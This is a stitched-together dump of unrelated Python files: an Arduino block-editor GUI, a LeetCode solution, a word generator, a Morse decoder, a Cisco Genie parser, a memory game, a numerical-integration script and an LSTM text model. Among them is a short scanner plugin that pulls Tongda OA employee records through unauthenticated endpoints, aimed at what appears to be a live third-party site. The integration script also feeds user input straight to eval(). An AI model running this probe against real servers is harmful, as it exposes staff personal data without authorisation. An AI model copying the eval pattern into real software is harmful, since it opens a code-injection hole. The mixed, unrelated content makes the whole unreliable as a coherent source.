#		self.bloced.changed_event = self.__changed_event

		self.__menubar = tk.Menu(self.root)
		self.root["menu"] = self.__menubar

		self.__recent_menu = None
		self.__recent_menu = self.__list_recent_files(self.__settings.recent_files)

		examples = self.__list_examples()
		libraries = self.__list_libraries()

		self.add_top_menu("&File", [
			CmdMnu("&New", "Ctrl+N", self.new_file),
			CmdMnu("&Open...", "Ctrl+O", self.open_file),
			CmdMnu("&Save", "Ctrl+S", self.save_current_file),
			CmdMnu("S&ave As...", "Shift+Ctrl+S", self.save_file_as),
			SepMnu(),
			CascadeMnu("Examples",
				[ CmdMnu(os.path.basename(f), None, partial(self.__open_example, f)) for f in examples ]),
#			CascadeMnu("Libraries",
#				[ CmdMnu(os.path.basename(f), None, partial(self.__open_example, f)) for f in libraries ]),
			SepMnu(),
			self.__recent_menu,
#			SepMnu(),
#			CmdMnu("Export...", "Ctrl+E", self.__mnu_file_export),
			SepMnu(),
			CmdMnu("&Quit", "Alt+F4", self.close_window) ])

		mnu_undo = CmdMnu("&Undo", "Ctrl+Z", self.mnu_edit_undo)
		mnu_redo = CmdMnu("&Redo", "Shift+Ctrl+Z", self.mnu_edit_redo)
		mnu_cut = CmdMnu("Cu&t", "Ctrl+X", self.mnu_edit_cut)
		mnu_copy = CmdMnu("&Copy", "Ctrl+C", self.mnu_edit_copy)
		mnu_paste = CmdMnu("&Paste", "Ctrl+V", self.mnu_edit_paste)
		mnu_delete = CmdMnu("&Delete", "Delete", self.mnu_edit_delete)
		mnu_select_all = CmdMnu("Select &All", "Ctrl+A", self.mnu_edit_select_all)

		self.add_top_menu("&Edit", [
			mnu_undo,
			mnu_redo,
			SepMnu(),
			mnu_cut, #CmdMnu("Cu&t", "Ctrl+X", self.mnu_edit_cut),
			mnu_copy, #CmdMnu("&Copy", "Ctrl+C", self.mnu_edit_copy),
			mnu_paste, #CmdMnu("&Paste", "Ctrl+V", self.mnu_edit_paste),
			mnu_delete, #CmdMnu("&Delete", "Delete", self.mnu_edit_delete),
			SepMnu(),
			mnu_select_all, #CmdMnu("Select &All", "Ctrl+A", self.mnu_edit_select_all),
			SepMnu(),
			CmdMnu("Pr&eferences", None, self.mnu_edit_preferences)
			])

		self.local_blocks_mnu_edit = CascadeMnu("Workbench", [])
		block_list_edit = tuple(self.lib_menu_items(self.local_blocks_mnu_edit))
		self.add_top_menu("&Library",
#			[ CmdMnu("&Insert last", "Ctrl+B", self.mnu_blocks_insert_last), SepMnu() ] +
			block_list_edit)

		self.local_blocks_mnu_cntxt = CascadeMnu("Workbench", [])
		block_list_cntxt = tuple(self.lib_menu_items(self.local_blocks_mnu_cntxt))
		editor_menu = [ CascadeMnu("Library", block_list_cntxt),
			SepMnu(), mnu_undo, mnu_redo,
			SepMnu(), mnu_cut, mnu_copy, mnu_paste, mnu_delete,
			SepMnu(), mnu_select_all ]
		self.editor_popup = self.add_top_menu("", items=editor_menu, root=tk.Menu(self.root))

		boards = [ (k, v["name"]) for k, v in self.work.get_board_types().items() ]

#		self.__port_menu = CascadeMnu("Serial Port",
#			[ RadioMnu(p, None, self.__choose_port) for p, desc, nfo in build.get_ports() ])
		self.__port_menu = CascadeMnu("(scanning)", [])

		self.__board_menu = CascadeMnu("Board",
			[ RadioMnu(txt, None, self.__choose_board, value=val) for val, txt in boards ])

		self.__model_menu = self.add_top_menu("&Workbench", [
			CmdMnu("&Build", "F6", self.mnu_mode_build),
			CmdMnu("&Run", "F5", self.mnu_mode_run),
#			CmdMnu("&Stop", "Ctrl+F5", None)
			SepMnu(),
			CmdMnu("Add sheet", "Shift+Ctrl+N", self.__mnu_add_sheet),
			CmdMnu("Rename sheet", None, self.__mnu_rename_sheet),
			CmdMnu("Import sheet", None, self.__mnu_import_sheet),
			CmdMnu("Export sheet", None, self.__mnu_export_sheet),
			CmdMnu("Delete sheet", None, self.__mnu_delete_sheet),
			SepMnu(),
			self.__board_menu,
			self.__port_menu,
			])

		self.__layout_menu = self.add_top_menu("L&ayout", [
			CmdMnu("Reroute", None, self.__layout_reroute),
			SepMnu(),
			CmdMnu("Make equal vertical spacing", None, partial(self.__layout__equal_spacing, "y")),
			CmdMnu("Make equal horizontal spacing", None, partial(self.__layout__equal_spacing, "x")),
			SepMnu(),
			CmdMnu("Align lefts", None, partial(self.__layout_align, "lefts")),
			CmdMnu("Align rights", None, partial(self.__layout_align, "rights")),
			CmdMnu("Align centers", None, partial(self.__layout_align, "centers")),
			CmdMnu("Align tops", None, partial(self.__layout_align, "tops")),
			CmdMnu("Align middles", None, partial(self.__layout_align, "middles")),
			CmdMnu("Align bottoms", None, partial(self.__layout_align, "bottoms")),
			])

		self.add_top_menu("&Help", [
			CmdMnu("&Content...", "F1", lambda *a: webbrowser.open(cfg.HELP_URL)),
			SepMnu(),
			CmdMnu("&About...", None, lambda *a: tkMessageBox.showinfo(cfg.APP_NAME, cfg.APP_INFO)) ])

		if 1 :
			self.add_top_menu("_Debu&g", [
				CmdMnu("delete menu", None, lambda *a: self.__model_menu.delete(3)),
				CmdMnu("Implement", None, self.implement),
				CmdMnu("test_text_editor", None, self.test_text_editor),
				CmdMnu("mkmac", None, self.mkmac),
				CmdMnu("geo", None, lambda *a: self.root.geometry("800x600+2+0")),
				CmdMnu("connections", None, lambda *a: pprint(self.bloced.get_model().get_connections())),
				CmdMnu("edit custom target", None, self.edit_custom_target), ])
#			menu_debug.add_command(label="zoom",
#				command=lambda: self.bloced.canv.scale(ALL, 0, 0, 2, 2))

		self.rescan_ports()

	def test_text_editor(self) :
		d = TextEditorDialog(self.root, "hello")
		if d.value :
			print(d.value)

	def edit_custom_target(self) :
		items = (
			("name", "(custom target name)"),
			("upload.protocol", "arduino"),
			("upload.maximum", "30720"),#mind size of bootloader
			("upload.speed", "57600"),#??
			("bootloader.low_fuses", "0xFF"),#??
			("bootloader.high_fuses", "0xDA"),#??
			("bootloader.extended_fuses", "0x05"),#??
			("bootloader.path", "atmega"),
			("bootloader.file", "a.hex"),
			("bootloader.unlock_bits", "0x3F"),#??
			("bootloader.lock_bits", "0x0F"),#??
			("build.mcu", "atmega328"),
			("build.f_cpu", "16000000L"),
			("build.core", "arduino"),
		)
		d = InputDialog(self.root, "Edit custom target",
			items=items)
		if d.value :
			pprint(d.value)

	def mnu_edit_preferences(self, a=None) :
		items = (
			("Arduino directory", ""),
		)
		d = InputDialog(self.root, "Edit Preferences",
			items=items)
		if d.value :
			pprint(d.value)

	def __load_default_config(self, config) :
		try :
			config.add_section("Path")
		except : pass
		config.set("Path", "all_in_one_arduino_dir", "")

#	@catch_all
	def __init__(self, load_file=None) :

		try :
			with open("usersettings.pickle", "rb") as f :
				self.__settings = pickle.load(f)
		except :
			self.__settings = UserSettings()
			print("failed to load user setting, defaults loaded")

		self.config = SafeConfigParser()
		config_file = os.path.join(os.getcwd(), "config.cfg")
		try :
			self.config.read(config_file)
			self.config.get("Path", "all_in_one_arduino_dir", None)
		except :
			self.__load_default_config(self.config)
			try :
				with open(config_file, "w") as cf :
					self.config.write(cf)
			except :
				print(here(), "error while writing '" + config_file + "'")

#		print here(), self.config.get("Path", "all_in_one_arduino_dir", None)

		self.__sheets = {}#XXX see __change_callback

		self.__tab_children = {}

		self.__fname = None
		self.__changed = False

		self.work = dfs.Workbench(
			lib_dir=os.path.join(os.getcwd(), "library"),
			config=self.config,
			passive=False,
			status_callback=self.__workbench_status_changed,
			ports_callback=self.__port_list_changed,
			change_callback=self.__change_callback)
		self.work.rescan_ports()

		self.__menu_items = {}
		self.__menu_vars = {}

		font_settings_t = namedtuple("font_settings", ("family", "size"))
		self.font_settings = font_settings_t("sans", 8)

		self.root = tk.Tk()

		if 0 :
			self.root.option_add("*Font", self.font_settings)
			s = ttk.Style()
			s.configure('.', font=self.font_settings)

#		print tkFont.families()
		self.root.protocol("WM_DELETE_WINDOW", self.__on_closing)
#		print (tkFont.Font().actual())
#		print tkFont.families()

		self.root.title(cfg.APP_NAME)
		self.root.option_add("*tearOff", tk.FALSE)
		self.root.columnconfigure(0, weight=1)
		self.root.rowconfigure(0, weight=1)

#		mainframe = Frame(self.root)
#		mainframe.grid(column=0, row=0, sticky=(N, W, E, S))
#		mainframe.columnconfigure(0, weight=1)
#		mainframe.rowconfigure(1, weight=1)

		self.tabs = ttk.Notebook(self.root)
		self.tabs.grid(column=0, row=0, sticky=(tk.N, tk.W, tk.E, tk.S))
		self.tabs.columnconfigure(0, weight=1)
		self.tabs.rowconfigure(1, weight=1)
		self.tabs.enable_traversal()
#		f1 = ttk.Frame(self.tabs)

		if 0 :
			self.tree = ttk.Treeview(self.root)
			self.tree.grid(column=1, row=0, rowspan=2, sticky=(tk.N, tk.W, tk.E, tk.S))
			self.tree.insert('', 'end', 'widgets', text='Widget Tour')
			self.tree.insert('', 0, 'gallery', text='Applications')
			node_id = self.tree.insert('', 'end', text='Tutorial')
			self.tree.insert('widgets', 'end', text='Canvas')
			self.tree.insert(node_id, 'end', text='Tree')

		self.term_frame = tk.Frame(self.root)
		self.term_frame.grid(column=0, row=1, sticky=(tk.N, tk.W, tk.E, tk.S))

		self.term = tk.Frame(self.term_frame)

		self.term_txt = tk.Text(self.term, wrap="none", height=5)
#		self.term_txt.insert("1.0", "hello")
		self.term_txt.pack(fill=tk.BOTH, expand=1, side=tk.TOP)

		self.term.grid(column=0, row=0, sticky=(tk.W, tk.E, tk.N, tk.S))

		self.term_frame.columnconfigure(0, weight=1)
		self.term_frame.rowconfigure(0, weight=1)

		self.term_yscroll = tk.Scrollbar(self.term_frame, orient=tk.VERTICAL, command=self.term_txt.yview)
		self.term_xscroll = tk.Scrollbar(self.term_frame, orient=tk.HORIZONTAL, command=self.term_txt.xview)
		self.term_yscroll.grid(column=1, row=0, sticky=(tk.N, tk.S))
		self.term_xscroll.grid(column=0, row=1, sticky=(tk.W, tk.E))
		self.term_txt.configure(yscrollcommand=self.term_yscroll.set)
		self.term_txt.configure(xscrollcommand=self.term_xscroll.set)

		self.statusbar = tk.Frame(self.root, height=32)
		self.statusbar.grid(column=0, row=2, columnspan=2, sticky=(tk.N, tk.W, tk.E, tk.S))
		self.statusbar.columnconfigure(0, weight=1)
		self.statusbar.columnconfigure(1, weight=1)

		self.status_label_left = tk.Label(self.statusbar, text="", relief=tk.SUNKEN)
		self.status_label_left.grid(column=0, row=0, sticky=(tk.N, tk.W, tk.S))

		self.status_label_right = tk.Label(self.statusbar, text="", relief=tk.SUNKEN)
		self.status_label_right.grid(column=1, row=0, sticky=(tk.N, tk.E, tk.S))
		self.__update_status_bar()

		self.setup_menus()

		self.root.geometry("%ix%i" % (self.__settings.main_width, self.__settings.main_height))
#		self.root.geometry("+%i+%i" % (self.__settings.main_left, self.__settings.main_top))
#		self.root.geometry("%ix%i+%i+%i" % (self.__settings.main_width, self.__settings.main_height,
#			self.__settings.main_left, self.__settings.main_top))
#TODO
#		thestate = window.state()
#		window.state('normal')
#		window.iconify()
#		window.deiconify()

		self.root.after(cfg.POLL_WORKERS_PERIOD, self.__tick)

		if load_file :
			self.open_this_file_new(load_file)
		else :
			self.new_file()#TODO possibly set draft file name, time+date+username or so

	def run(self) :
		self.root.mainloop()

# ------------------------------------------------------------------------------------------------------------

def main() :
#	be = BlockEditorWindow()
#	if len(sys.argv) == 2 :
#		be.open_this_file_new(os.path.abspath(os.path.join(os.path.curdir, sys.argv[1])))
#	be.root.mainloop()
	f = None
	if len(sys.argv) == 2 :
		f = os.path.abspath(os.path.join(os.path.curdir, sys.argv[1]))
	w = BlockEditorWindow(load_file=f)
	try :
		w.run()
	except :
		print("top level except")
		w.work.finish()
#		w.work._Workbench__set_should_finish()
#TODO kill threads!!!
		raise

if __name__ == "__main__" :
	main()

# ------------------------------------------------------------------------------------------------------------


#!/usr/bin/env python
# encoding: utf-8
"""
@author: wushaohong
@time: 2020/8/4 上午10:24
"""
"""241. 为运算表达式设计优先级
给定一个含有数字和运算符的字符串，为表达式添加括号，改变其运算优先级以求出不同的结果。
你需要给出所有可能的组合的结果。有效的运算符号包含 +, - 以及 * 。

示例 1:

输入: "2-1-1"
输出: [0, 2]
解释:
((2-1)-1) = 0
(2-(1-1)) = 2
示例 2:

输入: "2*3-4*5"
输出: [-34, -14, -10, -10, 10]
解释:
(2*(3-(4*5))) = -34
((2*3)-(4*5)) = -14
((2*(3-4))*5) = -10
(2*((3-4)*5)) = -10
(((2*3)-4)*5) = 10"""

class Solution:
    def diffWaysToCompute(self, input: str):
        if input.isdigit():
            return [int(input)]

        res = []
        for i in range(len(input)):
            if input[i] in ['+', '-', '*']:
                left = self.diffWaysToCompute(input[:i])
                right = self.diffWaysToCompute(input[i + 1:])
                for l in left:
                    for r in right:
                        if input[i] == '+':
                            res.append(l + r)
                        if input[i] == '-':
                            res.append(l - r)
                        if input[i] == '*':
                            res.append(l * r)
        return res

if __name__ == '__main__':
    sol = Solution()
    print(sol.diffWaysToCompute("2*3-4*5"))


import random
from tkinter import *
from tkinter import filedialog as fd

root = Tk()
root.geometry('800x400')

outputText = Label(bg='white', fg='black', font=("Impact", 34))
outputText.place(relx=0.0, rely=0.0, relwidth=0.9, relheight=0.2)
generateButton = Button(text="Генерация")
generateButton.place(relx=0.9, rely=0.0, relwidth=0.1, relheight=0.2)
openFileButton = Button(text="Открыть файл")
openFileButton.place(relx=0.3, rely=0.8, relwidth=0.4, relheight=0.2)

def changeSourceText(event):
    file_name = fd.askopenfilename()
    i = open(file_name, encoding="utf-8")
    o = open("input.txt", "w+", encoding="utf-8")
    temp = i.read()

    o.truncate(0)
    o.write(temp)

    i.close()
    o.close()

def readInput(inputText):
    skipLines(inputText, 1)
    temp = inputText.readline()
    return temp[:-1].split(" ")

def addConsonant(word, consonants):
    if random.randint(0, 9) == 0:
        word += consonants[random.randint(0, len(consonants) - 1)]
    return word + consonants[random.randint(0, len(consonants) - 1)]

def addVowel(word, vowels):
    return word + vowels[random.randint(0, len(vowels) - 1)]

def skipLines(inputText, linesAmount):
    for i in range(0, linesAmount):
        inputText.readline()

def generate(event):
    inputText = open("input.txt", encoding="utf-8")

    wordAmount: int = 2
    vowels = readInput(inputText)
    vowelsEnd = readInput(inputText)
    consonants = readInput(inputText)
    consonantsEnd = readInput(inputText)

    word: str = ""
    for i in range(0, wordAmount):
        temp = random.randint(2, 4)
        isFirstVowel = bool(random.getrandbits(1))

        for j in range(0, temp):
            if isFirstVowel:
                word = addVowel(word, vowels)
                word = addConsonant(word, consonants)
            else:
                word = addConsonant(word, consonants)
                word = addVowel(word, vowels)

        # Ртятяго Мугросердь, [07.03.19 22: 14] ЕСЛИ ПОСЛЕДНЯЯ БУКВА ГЛАСНАЯ ТО ГЛАСНОЕОКОНЧАНИЕ
        # ЕСЛИ ПОСЛЕДНЯЯ БУКВА СОГЛАСНАЯ ТО СОГЛАСНОЕОКОНЧАНИЕ
        # Ртятяго Мугросердь, [07.03.19 22: 14] ГДЕ ГЛАСНОЕ ОКОНЧАНИЕ ЭТО "ОКОНЧАНИЕ ДЛЯ ГЛАСНОЙ"

        if random.randint(0, 3) == 0:
            if isFirstVowel:
                word += consonantsEnd[random.randint(0, len(consonantsEnd) - 1)]
            else:
                word += vowelsEnd[random.randint(0, len(vowelsEnd) - 1)]
        word += " "
    outputText['text'] = ' '.join(word)

generateButton.bind('<Button-1>', generate)
openFileButton.bind('<Button-1>', changeSourceText)

root.mainloop()


class bola:
    def __init__(self,bolota):
        self.bolota=bolota
        if bolota==1:
            print("a circunferencia é de 68cm a 70cm.")
        elif bolota==2:
            print("a cor é amarelo.")
        elif bolota==3:
            print("o tecido é de pano e borracha")
        elif bolota==4:
            cor=input("qual a cor que voce deseja: ")
            print(cor)
        else:
            print("erro...")


#!/usr/bin/env python
#*_* coding: utf-8 *_*

#name: tongdaoa(通达oa)员工信息遍历（无需登录）
#author: yichin
#refer: http://www.wooyun.org/bugs/wooyun-2014-082678

import re

def assign(service, arg):
    if service == "tongdaoa":
        return True, arg

def audit(arg):
    #获取员工userid以及部分信息
    url1 = arg + 'mobile/inc/get_contactlist.php?P=1&KWORD=%&isuser_info=3'
    code, head, res, errcode, _ = curl.curl2(url1)
    if code != 200:
        return False
    pattern = r'"user_uid":"([\d]*)"'
    m = re.search(pattern, res)
    if m == None:
        return False
    userid = m.group(1)
    #print userid
    #获取员工详细信息(包含联系方式)
    url2 = arg + 'mobile/user_info/data.php?P=1&ATYPE=getUserInfo&Q_ID=' + userid
    code, head, res, errcode, _ = curl.curl2(url2)
    if code == 200 and "user_name" in res and 'sex' in res:
        security_warning(arg + ': 通达oa员工信息遍历')

if __name__ == '__main__':
    from dummy import *
    audit(assign('tongdaoa', 'http://www.zzkingmed.com/')[1])


#esptool.py --port /dev/ttyUSB0 erase_flash
#esptool.py --port /dev/ttyUSB0 --chip esp32 write_flash -z 0x1000 /home/tc/Downloads/esp32-20181118-v1.9.4-684-g51482ba92.bin
#shell --buffer-size=30 -p /dev/ttyUSB0
#cp /home/ingres/Desktop/morse.py /pyboard
import morse
import machine

# Globals
# Where is the Microphone connected?
adcpin = 36
# Where is the button connected
inputbuttonpin = 0
# How much above normal loudness level is a beep?
minloudness = 150

def stophearing(pin):
    # Setting this to zero will stop the haring of the class
    mymorse.hearingactive = 0

btn1 = machine.Pin(inputbuttonpin, machine.Pin.IN, machine.Pin.PULL_UP)
btn1.irq(trigger=machine.Pin.IRQ_RISING, handler = stophearing)

mymorse = morse.Morse(adcpin, minloudness)
mymorse.hearformorse()
mymorse.decodeintomorse()
mymorse.decodemorseintotext()


'''
MLD Genie Ops Object for IOSXE - CLI.
'''
# super class
from genie.libs.ops.mld.mld import Mld as SuperMld

# iosxe show_vrf
from genie.libs.parser.iosxe.show_vrf import ShowVrfDetail

class Mld(SuperMld):
    '''MLD Genie Ops Object'''

    def keys(self, item):
        '''return only the key as list from the item'''
        if isinstance(item, dict):
            return list(item.keys())

    def learn(self):
        '''Learn MLD Ops'''

        # get vrf list
        self.add_leaf(cmd=ShowVrfDetail,
                      src='',
                      dest='list_of_vrfs',
                      action=self.keys)

        self.make()

        vrf_list = ['default']
        try:
            vrf_list.extend(self.list_of_vrfs)
        except AttributeError:
            pass
        else:
            # delete the list_of_vrfs in the info table
            del self.list_of_vrfs

        # loop for vrfs
        for vrf in sorted(vrf_list):

            # skip the vrf when it is mgmt-vrf
            if vrf == 'Mgmt-vrf':
                continue

            # create kwargs
            vrf_name = '' if vrf == 'default' else vrf

            ########################################################################
            #                               info
            ########################################################################

            # max_groups
            self.add_leaf(cmd='show ipv6 mld interface',
                          src='[vrf][(?P<vrf>.*)][max_groups]',
                          dest='info[vrfs][(?P<vrf>.*)][max_groups]',
                          vrf=vrf_name)

            # groups_count is not supported on IOSXE

            # Interface path
            src = '[vrf][(?P<vrf>.*)][interface][(?P<interface>.*)]'
            dest = 'info[vrfs][(?P<vrf>.*)][interfaces][(?P<interface>.*)]'

            # interfaces
            #     --  enable, group_policy
            #     --  max_groups, query_interval, query_max_response_time
            #     --  oper_status, querier, version
            #
            # immediate_leave, robustness_variable, joined_group are not supported on iosxe
            req_keys = ['[enable]',
                        '[group_policy]', '[max_groups]', '[query_interval]',
                        '[query_max_response_time]', '[oper_status]',
                        '[querier]', '[version]']
            for key in req_keys:
                self.add_leaf(cmd='show ipv6 mld interface',
                              src=src + '[{}]'.format(key),
                              dest=dest + '[{}]'.format(key),
                              vrf=vrf_name)

            # interfaces
            #     --  join_group
            #         --  group, source
            #     --  static_group
            #         --  group, source
            #     --  group
            #         --  up_time, expire, last_reporter, filter_mode, source
            #         --  host_count, host, source<last-reporter> are not supported on iosxe
            req_keys = ['[join_group][(?P<join_group>.*)]',
                        '[static_group][(?P<static_group>.*)]',
                        '[group][(?P<group>.*)][up_time]',
                        '[group][(?P<group>.*)][expire]',
                        '[group][(?P<group>.*)][filter_mode]',
                        '[group][(?P<group>.*)][last_reporter]',
                        '[group][(?P<group>.*)][source][(?P<source>.*)][up_time]',
                        '[group][(?P<group>.*)][source][(?P<source>.*)][expire]']
            for key in req_keys:
                self.add_leaf(cmd='show ipv6 mld groups detail',
                              src=src + '[{}]'.format(key),
                              dest=dest + '[{}]'.format(key),
                              vrf=vrf_name)

            # make to write in cache
            self.make()

            if not hasattr(self, 'info') or \
               'vrfs' not in self.info or \
               'interfaces' not in self.info['vrfs'][vrf]:
                continue

            src = '[vrf][(?P<vrf>.*)]'
            dest = 'info[vrfs][(?P<vrf>.*)]'

            for intf in self.info['vrfs'][vrf]['interfaces']:
                if 'group' not in self.info['vrfs'][vrf]['interfaces'][intf]:
                    continue

                for group in self.info['vrfs'][vrf]['interfaces'][intf]['group']:
                    # ssm_map
                    # group_range is not supported on iosxe
                    req_keys = ['[ssm_map][(?P<ssm_map>.*)][source_addr]',
                                '[ssm_map][(?P<ssm_map>.*)][group_address]']
                    for key in req_keys:
                        self.add_leaf(cmd='show ipv6 mld vrf {vrf} ssm-map {group}'.format(vrf=vrf, group=group),
                                      src=src + '[{}]'.format(key),
                                      dest=dest + '[{}]'.format(key),
                                      group=group, vrf=vrf_name)

            # make to write in cache
            self.make(final_call=True)


import turtle
from random import *
from turtle import *
from StoryGame import StoryGame
from freegames import path

car = path('car.gif')
tiles = list(range(32)) * 2
state = {'mark': None}
hide = [True] * 64
num_of_pairs_found = 0

def square(x, y):
    """Draw white square with black outline at (x, y)."""
    up()
    goto(x, y)
    down()
    color('black', 'white')
    begin_fill()
    for count in range(4):
        forward(50)
        left(90)
    end_fill()

def index(x, y):
    """Convert (x, y) coordinates to tiles index."""
    idx = int((x + 200) // 50 + ((y + 200) // 50) * 8)
    return idx

def xy(count):
    """Convert tiles count to (x, y) coordinates."""
    return (count % 8) * 50 - 200, (count // 8) * 50 - 200

def tap(x, y):
    global num_of_pairs_found
    """Update mark and hidden tiles based on tap."""
    spot = index(x, y)
    # print("Tapped on index:", spot)
    mark = state['mark']

    if mark is None or mark == spot or tiles[mark] != tiles[spot]:
        state['mark'] = spot
        # print("55")
    else:
        print("Found Pair")
        num_of_pairs_found += 1
        print("num of found pairs =", num_of_pairs_found)
        hide[spot] = False
        hide[mark] = False
        state['mark'] = None
        if num_of_pairs_found % 3 == 0:
            # print("Generate Question")
            sg.get_quest()
        if num_of_pairs_found == 32:
            print("Finished the game!")
            turtle.bye()

def draw():
    """Draw image and tiles."""
    clear()
    goto(0, 0)
    shape(car)
    stamp()

    for count in range(64):
        if hide[count]:
            x, y = xy(count)
            square(x, y)

    mark = state['mark']

    if mark is not None and hide[mark]:
        x, y = xy(mark)
        up()
        goto(x + 2, y)
        color('black')
        write(tiles[mark], font=('Arial', 30, 'normal'))

    update()
    ontimer(draw, 100)

shuffle(tiles)
# print(tiles)
# lst8 = tiles[0:8]
# lst7 = tiles[8:16]
# lst6 = tiles[16:24]
# lst5 = tiles[24:32]
# lst4 = tiles[32:40]
# lst3 = tiles[40:48]
# lst2 = tiles[48:56]
# lst1 = tiles[56:64]
# print(lst1)
# print(lst2)
# print(lst3)
# print(lst4)
# print(lst5)
# print(lst6)
# print(lst7)
# print(lst8)
setup(420, 420, 370, 0)
addshape(car)
hideturtle()
tracer(False)
onscreenclick(tap)
sg = StoryGame()
sg.start_game()
draw()
done()


# -*- coding: utf-8 -*-
"""
Created on Wed Feb 16 20:53:36 2022

@author: george
"""

from math import exp, log
import math

def seleciona_funcao_desejada():
   return int(input('Digite 1 para utilizar os dados da Tarefa semanal, exercicio 3 \nDigite 2, caso queira valores personalizados \nValor escolhido: '))

def seta_dados_da_integral(seta_f):
    if seta_f == 1: return exp(1), exp(1)+1, 30
    elif seta_f == 2:
        return eval(input('Digite o limitante inferior: ')), eval(input('Digite o limitante superior: ')), int(input('Digite o valor de n (norma de partição do intervalo): '))

def seta_integral_utilizada(seta_f):
    if seta_f == 1: return '1/(x*log(x))'
    elif seta_f == 2:
        return str(input('Digite a função que deseja utilizar: '))

def seta_metodo():
    return int(input('Digite 1 para Met.dos Trapézios \nDigite 2 para Met. de Simpson \nDigite sua escolha: '))

def calcula_valor_de_f(x, f):
    return eval(f)

def retorna_maior_valor_de_f(a,b,h,f_de_teste):
    x=a
    max_value_f=0.0
    while(x<b):
        teste_de_max_f=eval(f_de_teste)
        if abs(teste_de_max_f) > abs(max_value_f):
            max_value_f = abs(teste_de_max_f)
            x_com_maior_valor_de_f = x
        x+=h
    return x_com_maior_valor_de_f

def lim_do_erro_Trapezios(a,b,n):
    h= (b-a)/n
    f_duas_linhas='(2*log(x)**2+3*log(x)+2)/(x**3*log(x)**3)'
    #f_duas_linhas='-2*exp(-x)*math.cos(x)' #versao do exemplo da apostila
    x = retorna_maior_valor_de_f(a,b,h,f_duas_linhas)
    limitante_do_erro = abs((((b-a)*(h**2.0))/12.0)*eval(f_duas_linhas))
    return limitante_do_erro

def lim_do_erro_Homer_Simpson(a,b,n):
    h = (b-a)/n

    f_quatro_linhas='2*(12*log(x)**4+25*log(x)**3+35*log(x)**2+30*log(x)+12)/(x**5*log(x)**5)'
    x = retorna_maior_valor_de_f(a,b,h,f_quatro_linhas)
    limitante_do_erro= -(n*h**5/180)*eval(f_quatro_linhas)
    return limitante_do_erro

def metodos_dos_Trapezios(a,b,f, n, seta_f):
    integral = 0
    h= (b-a)/n

    for k in range (1, n):
        integral += calcula_valor_de_f(a + k*h, f)

    integral *= 2
    integral += (calcula_valor_de_f(a, f)+calcula_valor_de_f(b, f))
    integral *= (h/2)

    return integral

def metodo_de_Homer_Simpson(a,b,f,n):
    h= (b-a)/n
    soma_odd, soma_even = 0,0

    for k in range(1,n,2):
        soma_odd += calcula_valor_de_f(a + k*h, f)
    for k in range(2,n,2):
        soma_even += calcula_valor_de_f(a + k*h, f)

    return (h/3) * (calcula_valor_de_f(a, f) + 4*soma_odd + 2*soma_even + calcula_valor_de_f(b, f))

seta_f = seleciona_funcao_desejada()
a, b, n = seta_dados_da_integral(seta_f)
f = seta_integral_utilizada(seta_f)
metodo = seta_metodo()

if(metodo == 1):
    resultado = metodos_dos_Trapezios(a,b,f, n, seta_f)
elif(metodo == 2):
    resultado = metodo_de_Homer_Simpson(a,b,f, n)

print('O valor aproximado da integral é: ', resultado)

if(seta_f == 1):
    if(metodo == 1):
        lim_do_erro = lim_do_erro_Trapezios(a,b,n)

    elif(metodo == 2):
        lim_do_erro = lim_do_erro_Homer_Simpson(a,b,n)
    print('O valor do limitante do erro é: ', lim_do_erro)
    print('O valor verdadeiro da integral é: ', log((log(exp(1)+1))))
    print('O erro verdadeiro é: ', abs(log(log(exp(1)+1))-(resultado)))


import tensorflow as tf
import numpy as np
import datetime

# 文件路径
path = tf.keras.utils.get_file('shakespeare.txt', 'https://storage.googleapis.com/download.tensorflow.org/data/shakespeare.txt')

# read and return a string
text = open(path).read().lower()
# 1 String, 1115394 characters
print('length of string：%s' % len(text))

maxlen = 60  # a sample has 60 chars -> 1 chars
step = 3  #
sequences = []  # features of samples
lables = []  # labels of samples

# build 371778 samples:  60 chars -> 1 char
for i in range(0, len(text) - maxlen, step):
    sequences.append(text[i:i + maxlen])  # 数据
    lables.append(text[i + maxlen])  # 标签
print('numbers of sequences: %d' % len(sequences))
print('numbers of lables: %d' % len(lables))

# unique chars
print(set(text))
chars = sorted(list(set(text)))
print('numbers of unique chars: %d' % len(chars))

# { char : ID }
chars_dict = dict((c, chars.index(c)) for c in chars)
print(chars_dict)

# one-hot encoding, initial values = false
x = np.zeros((len(sequences), maxlen, len(chars)), dtype=np.bool)  # 371778 samples x 60 chars x 39 one-hot encoding,
                                                                    # Intially all false - 0
y = np.zeros((len(sequences), len(chars)), dtype=bool)             # 371778 samples x 39 one-hot encoding
                                                                    # Intially all false - 0

# one-hot encoding
for i, sequence in enumerate(sequences): # 371778 samples
    for j, char in enumerate(sequence): # 60 chars
        x[i, j, chars_dict[char]] = 1 # one of the 39 char indices == 1
    y[i, chars_dict[lables[i]]] = 1   # one of the 39 char indices == 1

from tensorflow.keras.layers import LSTM, Dense
from tensorflow.keras import Sequential

#  one-hot encoding (39)   -------\
#  the last state - H (128) ------- LSTM (128) ---- SoftMAX (39) ----

model = Sequential()
                                 # 60     39
model.add(LSTM(128, input_shape=(maxlen, len(chars))))  # LSTM层：128个神经元, 或者说输出状态H为 128 位
# 128 neurons, the State H contains 128 values
# Inputs:  39 values for a char (one-hot encoding), 128 values from the State H
# Outputs: 128 values
# RNN  Parameters: (39 W + 128 W + 1b) x 128 x 1 = 21504
# LSTM Parameters: (39 W + 128 W + 1b) x 128 x 4 = 86016

model.add(Dense(len(chars), activation='softmax'))  # softmax层，输入128、输出39个概率
# Softmax
# Inputs: 128 values from the last State H
# Outputs: 39 P values
# Parameters: (128 W + 1 b) x 39 = 5031

optimizer = tf.keras.optimizers.RMSprop(learning_rate=0.01)
model.compile(optimizer=optimizer, loss='categorical_crossentropy')
model.summary()

# 39 possibilities -> next char
def sample(preds,temperature=0.1): # temperature是熵，这个函数是对数值进行归一化
    preds = np.asarray(preds).astype('float64') # 类型转换，转换为64位
    preds = np.log(preds)/temperature
    exp_preds = np.exp(preds)
    preds = exp_preds/np.sum(exp_preds) # 归一化/正则化
    # One-shot, 多项式分布，随机采样
    probas = np.random.multinomial(1,preds,1) # 按照多项分布 - 39个概率，干一次（第一个1），一维问题（第二个1）
    return np.argmax(probas) # 返回概率值最大的字符

import random
import sys

# 60 epoches
for epoch in range(0, 1):
    print('epoch:', epoch)

    starttime = datetime.datetime.now()

    # Doing the training based on the current weights
    model.fit(x, y, batch_size=128, epochs=1)

    endtime = datetime.datetime.now()
    print(("The running time:") + str((endtime - starttime).seconds) + " s")

    # Get a sentence randomly from the text
    start_index = random.randint(0, len(text) - maxlen - 1)  # start location
    generate_text = text[start_index:start_index + maxlen]  #
    print(len(generate_text ))
    print('**********************************************')
